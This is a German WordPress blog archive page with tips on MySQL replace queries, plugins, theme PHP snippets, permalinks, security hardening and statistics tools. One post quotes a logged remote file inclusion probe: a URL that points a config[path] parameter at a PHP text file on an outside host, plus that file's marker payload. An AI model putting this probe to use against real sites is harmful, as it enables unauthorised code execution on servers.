Archiv

Archiv für die Kategorie ‘Wordpress’

Suchen und Ersetzen in MySQL

3. Mai 2010 Keine Kommentare

Folgender Befehl ersetzt in der SQL Tabelle wp_posts den Inhalt ‘Zu-suchender-Text’ durch ‘Ersatztext’

UPDATE wp_posts
SET post_content = REPLACE (
post_content,
'Zu-suchender-Text',
'Ersatztext');

Damit Spart man sich z.B. Probleme beim Wiederupload. Bei mir war die maximale Datenbankgröße für den Import nämlich auf 2MB beschränkt.

via cywhale

KategorienMYSQL, Wordpress

Free WordPress Themes Sammlung

24. April 2010 Keine Kommentare

Momentan bin ich mit dem iNove Theme, was hier läuft, recht zufrieden.
Trotzdem schaue ich immer wieder gerne WordPress Theme Demos an.
Besonders aufgefallen sind mir dabei folgende Designs, die alle eine übersichtliche Navigationsleiste und einen hellen Texthintergrund haben:

  1. wp iStalkerDemo
  2. Mehr…
KategorienThemes, Wordpress

Meine WordPress Plugins

28. Januar 2010 4 Kommentare

Da ich diese Liste auf anderen Blogs auch immer gern nach neuen Plugins durchforstet habe, hier mal die bei mir momentan aktiven Plugins:

  • Akismet – Das allgegenwärtige Antispamplugin des WordPress Machers
  • All in One SEO Pack – Übernimmt alle möglichen Suchmaschinenoptimierungen von Titel bis Meta Description.
  • Category Cloud Widget – Erstellt die Tagcloud aus den Kategorien statt Tags
  • Chap Secure Login – Verschlüsselt den Login (Kein SSL)
  • Code Markup – Verhindert Probleme beim Posten von HTML u.a. Code
  • FAlbum – Bindet Flickr Fotos in WordPress ein
  • Google XML Sitemaps – Erstellt Sitemaps für den Google Bot
  • Limit Login Attempts – Erschwert Bruteforce Angriffe auf den Login
  • OpenSearch – Ermöglicht das Hinzufügen des Blogs zur Schnellsuche des Browsers
  • PHP Execution – Ermöglicht das ausführen von PHP in Posts (Für die FAlbum Integration)
  • PXS-Mail Form – Erstellt das Kontaktformular
  • Raven’s Antispam – Schützt per Javascript (was Bots meist nicht können) vor Kommentarspam
  • Related Posts by Category – Bietet verwandte Seiten am Ende von Artikeln per Kategorie an
  • Simple Trackback Validation – Verhindert Trackback Spam
  • Smart Youtube – Vereinfacht das Einbinden von Youtube Videos
  • WordPress Database Backup – Schickt mir wöchentlich ein Backup per Mail
  • WordPress Mobile Edition – Ein Template für Handys
  • WP-Easy Archvies – Übernimmt das erstellen der Archivseite
  • WP-Memory-Usage – Arbeitsspeicherverbrauch auf dem Server zeigen

Falls hier noch ein wichtiges Plugin fehlt, freue ich mich über einen Kommentar.

KategorienBlog, Wordpress

WordPress Gallery Styles entfernen

27. November 2009 Keine Kommentare

wplogoWordPress hat eine tollte Galerie Funktion integriert.
Leider schreibt die einem ungefragt neue Styles in die Seite.
Da ich die Galerie optisch anpassen wollte brauchte musste ich die Standard Styles loswerden.

Fündig wurde ich sivel.net. Der Trick war, folgende Zeilen zur functions.php des Themes hinzuzufügen:

<?php
add_filter('gallery_style', create_function('$a', 'return "
<div class=\'gallery\'>";'));
?>

Damit man anschließend beim Login oder Logout nicht folgende Meldung zu sehen bekommt,
Warning: Cannot modify header information - headers already sent ...
sollte man alle Leerzeilen- und zeichen in der functions.php löschen.

KategorienWebdesign, Wordpress

Geschwindigkeit von WordPress Permalinks

21. Oktober 2009 Keine Kommentare

stopwatchIch habe per Zufall im WordPress Codex gelesen, dass eine Verwendung von %postname% oder %category% ohne Zahlenwerte wie ID oder Datum, zu Performanceeinbußen führt.
Für den Leser ist eine lange URL aber weniger sinnvoll, weshalb ein paar Millisekunden mich nicht stören würden. SEOtechnisch ist eine kurze URL sicher auch nicht verkehrt.
Weil fast alle größeren Blogs und Newsseiten aber mindestens eine Zahl im Seitennamen haben, hat mich das schon ein wenig verunsichert.
Laut sw-guide ist die Performance ohne Zahl im Seitennamen nur schlechter, wenn man viele Seiten hat (nicht Posts). Auf Playground lese ich dagegen, dass es generell bei größeren Projekten sinnvoll ist.
Also Permalink Struktur vorsichtshalber umstellen?

Zumindest ist dank mod_rewrite keine Eile geboten. Die nötigen Zeilen generiert natürlich auch das Permalink Migration Plugin. Deutlich mehr Optionen bietet das Redirection Plugin von UrbanGiraffe.

KategorienBlog, Webdesign, Wordpress

What the heck?

10. August 2009 2 Kommentare

Ein fleißiger Hacker mit folgender Hausnummer 116.122.158.207 hat heute diese Adresse aufrufen wollen:
http://www.knevels.org///admin.php?includes&amp;config[path]=http://www.kwangsung.es.kr//UserFiles/shirohige/zfxid.txt??
Falls jemand den Hack kennt:was bewirkt er, wenn er funktioniert und bei welcher WordPress version? Sieht für mich aus wie das Einfügen eines neuen Users.

Folgenden Inhalt hatte die Textdatei:
zfxid.txt<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

KategorienSicherheit, Wordpress

WordPress gegen Hacker sichern

28. Juli 2009 Keine Kommentare

wplockedsOk, eigentlich müsste es Cracker heißen, denn Hacker sind weniger schlimm, da sie aus reinem Interesse und ohne Schadensabsicht in ein System eindringen.
Seine WordPress Installation kann man ein wenig absichern, indem man einen Hinweis auf das verwendete CMS aus den Meta-tags entfernt, die Dateirechte einschränkt, ein anderes Prefix als wp_ für seine Datenbank verwendet und natürlich immer die aktuelleste Version verwendet.
Bei der Installation oder Update sollte man noch darauf achten, in seiner wp-config einen secure key anzugeben (oder per Plugin einzustellen). Wenn man sich schonmal von unterwegs einloggt, ist ein verschlüsselter Login und eine Begrenzung der Anmeldeversuche gegen Bruteforce Attacken sinnvoll. Mehr…

KategorienSicherheit, Wordpress

Leere Divs ausblenden

12. Juli 2009 Keine Kommentare

Obwohl Momentan wieder öfter Updates für WordPress herauskommen, ist es noch lange nicht perfekt. Eine sinnvolle Ergänzung für WP-Themes, die ich länger suchen musste, stellt Eric Martin in seinem Blog vor. Und zwar hatte ich das Problem, dass ich in der archive.php für die next_post_links ein wenig margin zum div hinzufügen wollte. Bei Themen, wo ich nicht so so viel geschrieben habe, also keine next_post_links benötigt werden, war der div für die Links aber weiter vorhanden und sorgte für einen zu großen Abstand zwischen Inhalt und Überschrift.
Leider hat WordPress keine Funktion integriert, mit der man den Container automatisch ausblenden kann. Abhilfe schafft ein Eintrag in die functions.php:
/**
* If more than one page exists, return TRUE.
*/
function show_posts_nav() {
global $wpknorg01_query;
return ($wpknorg01_query->max_num_pages > 1);
}

und das Ergänzen der archive.php durch
<?php if (show_posts_nav()) : ?>
<div class='navigation'>
<?php next_posts_link('&amp;laquo; Older Entries'); ?>
<?php previous_posts_link('Newer Entries &amp;raquo;'); ?>
</div>
<?php endif; ?>

KategorienPHP, Wordpress

Statistik Tools & Plugins

12. Februar 2009 Keine Kommentare

jawstatsscreenshotsmallWer gern weiß, welche Artikel seine Besucher besonders interessieren und welche Technik diese benutzen, für den sind die folgenden Tools & Plugins interessant:

WordPress Plugins:

  • Semmelstatz – Oft gelobt, da guter Botfilter
  • StatPress – Sehr detailliert, incl. Grafik und Liste der letzten IPs
  • CounterizeII – Alle Infos mit Balkengrafik auf einere Seite (incl. Bot & IPblocker)
  • ShortStat2 – Pure Information mit allen Daten auf einen Blick, 0 Grafik aber übersichtlich
  • WordPress.com Stats – Die API Lösung für Umsteiger (Erfordert seperaten Login)

PHP Statistik Tools

  • phpTrafficA – Vor allem für kleine Seiten interssant
  • Piwik – Google Analytics Konkurrenz
  • Grape – Übersichtlichstes und schnellstes Statistiktool
  • BBClone – So übersichtlich wie Grape aber mit deutlich mehr Informationsgehalt
  • JAWStats – Auf awstats aufsetzend, benötigt leider Zugriff auf die Apache Installation. Mein Favorit – Demo

Noch bin ich mir nicht sicher, für welches Tool ich mich entscheiden werde. Vielversprechend sehen zumindest Piwik und PHPTraffica aus. Mit Rootaccess auf Apache würde meine Wahl wohl auf JAWStats fallen.

KategorienBlog, Wordpress

Wordpess 2.7 Admin Interfaces

5. Februar 2009 Keine Kommentare
admindropdown

Admin Drop Down Menu

WordPress hat mit der Version 2.7 ein komplett überarbeitetes Interface-Design erhalten. Trotzdem finde ich es nicht besonders übersichtlich, weshalb ich hier eine kleine Auswahl an Alternativen und Ergänzungen zusammengetragen habe.

  • Fluency Admin 2.0 – Hover Menü am linken Bildschirmrand
  • Admin Drop Down Menu – Dropdown statt sidebar mit famfam Icons
  • Admin Management Extended – Ajax-beschleunigung für Schnelleres Artikeltaggen / Datumsänderungen etc. ohne Reload
  • Adminimize – Neue Farbschemen, Möglichkeit den Adminpanel-Footer auszublenden, Userabhängige Farbschemen, Menüeinträge ausblenden und viele Backend-Einstellungen
KategorienBlog, Wordpress